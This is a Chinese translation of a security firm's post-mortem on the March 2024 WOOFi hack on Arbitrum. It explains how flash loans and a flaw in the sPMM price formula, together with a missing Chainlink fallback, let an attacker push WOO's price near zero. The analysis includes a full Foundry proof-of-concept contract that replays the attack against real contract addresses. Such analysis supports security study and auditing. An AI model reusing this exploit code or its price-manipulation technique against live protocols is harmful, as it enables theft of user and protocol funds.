漏洞分析:WOOFi黑客攻击

  • cyfrin
  • 发布于 2024-03-10 14:15
  • 阅读 21

2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法在Arbitrum网络上遭受攻击,损失达到860万美元。攻击者通过一系列闪电贷操控低流动性条件,导致WOO价格异常低下,从而获利。本文详细分析了攻击的背景、步骤及其导致的漏洞。

WOOFi Exploit | 黑客分析

在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。详细情况如下。

概述

在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。

此次利用涉及了一系列闪电贷。闪电贷是一种借贷方式,其中资金在单笔交易中以原子方式借入并偿还。这些贷款被用来利用低流动性来人为控制WOO的价格。这种操控允许攻击者以较低的成本偿还闪电贷,从中获利。

背景

WOOFi和sPMM是什么?

  • WOOFi是一个去中心化交易所,它使用合成主动市场制造(sPMM)算法,与传统的自动化市场制造商(AMMs)不同。它与WOOFi的链上预言机协作,模拟中心化交易所的价格、价差和订单簿深度。
  • 在WOOFi v2的设计中,sPMM根据用户的交易金额覆盖预言机价格,以控制滑点并维持平衡池。
  • 然而,之前未被注意到的错误导致调整后的价格显著偏离预期范围($0.00000009),而通常针对Chainlink执行的回退检查并没有涵盖WOO代币的价格。
  • 最近在Arbitrum上新增加的WOO借贷市场,加上WOO代币的低流动性,使得这次攻击在经济上可行。由于Arbitrum是唯一同时拥有WOO代币和WOO借贷市场的网络,因此这是唯一发生此攻击的网络。

价格操控是如何运作的

去中心化货币价格源自链上流动性储备,受供需动态的影响。

当流动性较低时,大额交易就更容易显著影响价格。通过执行一系列闪电贷,攻击者向下操纵了WOO的价格,使他们能够以更低的价格重新购买,并偿还闪电贷,从而获得利润。

攻击步骤

WOOFi团队的事后分析概述了攻击者采取的以下步骤:

1. 借入USDC和WOO:攻击者使用Uniswap闪电贷借入约1060万USDC,然后借入了WOO代币的总池储备,使用了Trader Joe闪电贷。

UniSwap闪电贷金额:  10590749131947
USDCTJ闪电贷金额:  270455801473726118787783

2. 存入USDC并借入WOO:攻击者存入700万USDC到Silo,并利用这笔资金借入更多WOO代币,使总借款达到约770万WOO代币。

3. 交换代币:攻击者在WOOFi上执行了一系列4次连续的交换:

交换前的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  56608180
    WETH:  381661997086

攻击者的余额:
    USDC余额: 3590749 USDC
    WOO余额: 7797221 WOO
    WETH余额: 0 WETH

a) USDC -> WETH: 增加USDC储备。

交换后USDC -> WETH的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  56608180
    WETH:  383188263412

攻击者的余额:
    USDC余额: 1590749 USDC
    WOO余额: 7797221 WOO
    WETH余额: 522 WETH

b) USDC -> WOO: 增加USDC储备。

交换后USDC -> WOO的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  57853248
    WETH:  383188263412

攻击者的余额:
    USDC余额: 1490749 USDC
    WOO余额: 7970905 WOO
    WETH余额: 522 WETH

c) WOO -> USDC: 操控了WOO价格。

交换后WOO -> USDC的预言机价格(小数 = 8):
    USDC: 100000000
    WOO: 383188263412
    WETH: 9

攻击者的余额:
    USDC余额: 3737641 USDC
    WOO余额: 114037 WOO
    WETH余额: 522 WETH

此攻击的前提是攻击者能够以大额基数交换WOO为USDC,以确保价格足够小。因此,需要足够的USDC储备来防止出现下溢并导致交易回退。由于前两次交换后USDC储备的增长是充足的,因此攻击者得以将大量WOO兑换为USDC。根据WooPPV2::_calcQuoteAmountSellBase中的特征价格计算,价格可以操控至极端值:

newPrice =
    ((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
        state.price) /
    1e18;

baseAmount被指定为使上述计算的分子接近1e18,这意味着newPrice返回的值几乎为零(9)。以8位小数精度,这会产生价格为$0.00000009。

d) USDC -> WOO: 以最低价格回购WOO。

交换后USDC -> WOO的预言机价格(小数 = 8):
    USDC: 100000000
    WOO: 383188263412
    WETH: 9

攻击者交换后余额:
    USDC余额: 3737640 USDC
    WOO余额: 10346945 WOO
    WETH余额: 522 WETH

这操控了WOOFi的价格预言机。WOOFi的sPMM算法错误地将WOO的价格调整为$0.00000009。利用sPMM造成的极端价格调整,攻击者在同一交易中以最低成本交换了约1000万WOO代币。

-- 欲了解更多信息,请参阅 关于价格预言机操控的指南

4. 偿还贷款:在偿还贷款之后,攻击者将多余的USDC交换成WETH,然后将其559 WETH和额外的230万WOO代币发送到另一个地址,此后WOO被交换为WETH。

5. 重复攻击:攻击者重复此攻击三次,结果约 收益875万美元,在归还贷款后。

原因:漏洞细节

a) WOO预言机价格被操控

当调用WooPPV2::swap时,会分别为交换1、2和4调用_sellQuote(),而交换3则调用_sellBase()

_sellBase()调用_calcQuoteAmountSellBase()以获取接收的代币数量和被交换代币的新价格。在这里,价格计算将价格调整到极端值:

function _calcQuoteAmountSellBase(
    address baseToken,
    uint256 baseAmount,
    IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
    require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");

    DecimalInfo memory decs = decimalInfo(baseToken);

    // quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
    {
        uint256 coef = uint256(1e18) -
            ((uint256(state.coeff) * baseAmount * state.price) / decs.baseDec / decs.priceDec) -
            state.spread;
        quoteAmount = (((baseAmount * decs.quoteDec * state.price) / decs.priceDec) * coef) / 1e18 / decs.baseDec;
    }

    // newPrice = oracle.price * (1 - 2 * k * oracle.price * baseAmount)
    newPrice =
        ((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
            state.price) /
        1e18;
}

凭借近似值,可以解释为什么会发生这种情况。查看newPrice计算的以下部分:

(uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)
  • δ定义为(uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec),这个计算变为1 - δ
  • 如果要交换的基准金额非常小,或接近零,也可以近似地认为δ ~ 0,因此可以认为该计算近似为1 - δ ≈ 1
  • 如果基准金额被定义为使得δ接近1,那么可以近似地将δ ~ 1,如此一来计算可近似为1 - δ ≈ 0,这意味着价格计算将非常接近于零,但仍不为零以避免下溢。

b) Chainlink预言机未为WOO设置

  • 由于WOOFi依赖Chainlink作为预言机价格的回退,因此对于上述剧烈价格波动,Chainlink价格应该能够防止攻击并导致交易回退。
  • 然而,该预言机返回为零地址。鉴于有一个管理员函数可设置预言机,可以推测这一设置从未针对WOO调用,并且Chainlink预言机从未设置。这意味着新的极端价格在未回退的情况下被接受。

概念证明:复制攻击

以下代码Foundry编写,旨在证明此次攻击,并重现上述步骤:

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";

import {IERC20} from 'forge-std/interfaces/IERC20.sol';

import '../src/interfaces/ITraderJoe.sol';
import '../src/interfaces/ISilo.sol';
import '../src/interfaces/IUniSwapV3Pool.sol';
import '../src/interfaces/IWooPPV2.sol';
import '../src/interfaces/IWETH.sol';
import '../src/interfaces/IWooOracleV2.sol';

contract WOOFiAttacker is Test {
    address constant USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
    address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
    address constant WOO = 0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b;
    ITraderJoe constant TRADERJOE = ITraderJoe(0xB87495219C432fc85161e4283DfF131692A528BD);
    ISilo constant SILO = ISilo(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);
    IWooPPV2 constant WOOPPV2 = IWooPPV2(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);
    IWooOracleV2 constant WOOORACLEV2 = IWooOracleV2(0x73504eaCB100c7576146618DC306c97454CB3620);
    IUniswapV3Pool constant POOL = IUniswapV3Pool(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
    uint256 constant MAX_UINT = type(uint256).max;
    uint256 uniSwapFlashAmount;
    uint256 traderJoeFlashAmount;

    enum Action {
        NORMAL,
        REENTRANT
    }

    function setUp() public {
        bytes32 txHash = 0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd;
        vm.createSelectFork("arb", txHash);
    }

    function testAttack() public {
        // 记录攻击前的状态
        console.log("攻击者攻击前的余额:");
        console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
        console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
        console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
        uint256 ethBalanceBefore = address(this).balance;
        console.log("ETH:", ethBalanceBefore / 1e18, "ETH \n");

        // 启动攻击
        initFlash();

        // 记录攻击后的状态
        console.log("攻击者攻击后的余额:");
        console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
        console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
        console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
        uint256 ethBalanceAfter = address(this).balance;
        console.log("ETH(收益):", (ethBalanceAfter - ethBalanceBefore) / 1e18, "ETH \n");
    }

    /// @notice 使用在`uniswapV3FlashCallback`中需要的数据调用池的闪电贷函数
    function initFlash() public {
        // 初始化代币的批准
        IERC20(WOO).approve(address(WOOPPV2), MAX_UINT);
        IERC20(WOO).approve(address(SILO), MAX_UINT);
        IERC20(USDC).approve(address(SILO), MAX_UINT);
        IERC20(USDC).approve(address(WOOPPV2), MAX_UINT);

        // 获取UniSwap池的USDC余额
        uniSwapFlashAmount = IERC20(USDC).balanceOf(address(POOL));
        console.log("UniSwap闪电贷金额: ", uniSwapFlashAmount / 1e6, "USDC \n");

        // 闪电贷USDC - 调用uniswapV3FlashCallback
        POOL.flash(
            address(this),
            0,
            uniSwapFlashAmount,
            abi.encode(uint256(1))
        );

        // 将多余的USDC转换为WETH
        int256 swapAmount = int256(IERC20(USDC).balanceOf(address(this)));
        POOL.swap(address(this), false, swapAmount, 5148059652436460709226212, new bytes(0));

        // 通过回退函数将多余的WETH提取到该合约中
        uint256 excessWETHBalance = IERC20(WETH).balanceOf(address(this));
        IWETH(WETH).withdraw(excessWETHBalance);
        // uint256 excessWOOBalance = IERC20(WOO).balanceOf(address(this));
        // IERC20(WOO).transfer({some_other_address}, excessWOOBalance); // 只有在需要发送至攻击者EOA时才需要进行此操作
    }

    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        // 闪电贷WOO

        // 获取总池金额
        traderJoeFlashAmount = IERC20(WOO).balanceOf(address(TRADERJOE));
        console.log("TJ闪电贷金额: ", traderJoeFlashAmount / 1e18, "WOO \n");
        bytes32 hashTraderJoeAmount = bytes32(traderJoeFlashAmount);

        // 启动闪电贷 - 调用LBFlashLoanCallback
        TRADERJOE.flashLoan(ILBFlashLoanCallback(address(this)), hashTraderJoeAmount, new bytes(0));

        // 偿还Uniswap闪电贷
        IERC20(USDC).transfer(msg.sender, uniSwapFlashAmount + fee1);
    }

    function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes calldata data) external {
        IERC20(USDC).transfer(address(POOL), uint256(amount1));
    }

    function LBFlashLoanCallback(
        address sender,
        IERC20 tokenX,
        IERC20 tokenY,
        bytes32 amounts,
        bytes32 totalFees,
        bytes calldata data
    ) external returns (bytes32) {
        // 存入USDC并借入Silo中的全部WOO流动性
        SILO.deposit(USDC, 7000000000000, true);
        uint256 amount = SILO.liquidity(WOO);
        SILO.borrow(WOO, amount);

        // 4次连续交换:
        // 1. USDC -> WETH
        IERC20(USDC).transfer(address(WOOPPV2), 2000000000000);
        WOOPPV2.swap(USDC, WETH, 2000000000000, 0, address(this), address(this));

        // 2. USDC -> WOO
        IERC20(USDC).transfer(address(WOOPPV2), 100000000000);
        WOOPPV2.swap(USDC, WOO, 100000000000, 0, address(this), address(this));

        // 3. WOO -> USDC
        IERC20(WOO).transfer(address(WOOPPV2), 7856868800000000000000000);
        WOOPPV2.swap(WOO, USDC, 7856868800000000000000000, 0, address(this), address(this));

        // 4. USDC -> WOO // 收获奖励
        IERC20(USDC).transfer(address(WOOPPV2), 926342);
        WOOPPV2.swap(USDC, WOO, 926342, 0, address(this), address(this));

        // 偿还Silo中的WOO贷款并提取USDC
        SILO.repay(WOO, MAX_UINT);
        SILO.withdraw(USDC, MAX_UINT, true);

        // 偿还Trader Joe闪电贷
        IERC20(WOO).transfer(msg.sender, uint256(amounts) + uint256(totalFees));

        // TJ闪电贷需要返回以下数据
        bytes32 returnData = keccak256("LBPair.onFlashLoan");
        return returnData;
    }

    receive() external payable {}

    /* ----- 辅助函数 ----- */

    function _getPrice(address asset) internal view returns (uint256) {
        (uint256 priceNow, bool feasible) = WOOORACLEV2.price(asset);
        return priceNow;
    }

    function _getTokenInfo(address token) internal view returns (uint192) {
        IWooPPV2.TokenInfo memory tokenInfo = WOOPPV2.tokenInfos(token);
        return tokenInfo.reserve;
    }

}

_-- 包含接口的完整代码可在GitHub上查看。_

总结

WOO的价格被操控到极端值,接近于零,通过一大笔代币交换获得的多笔贷款来实现。由于WOO的Chainlink预言机未被设置,因此回退逻辑未被触发,极端价格被接受为有效。这导致攻击者从协议中窃取了约850万美元。

对你的协议进行审计可以显著降低此类攻击发生的概率。

  • 欲了解智能合约安全与开发,请访问 Cyfrin Updraft
  • 想要请求对你的智能合约进行安全审查,请 与我们联系

参考文献

  • 原文链接: cyfrin.io/blog/hack-anal...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
cyfrin
cyfrin
Securing the blockchain and its users. Industry-leading smart contract audits, tools, and education.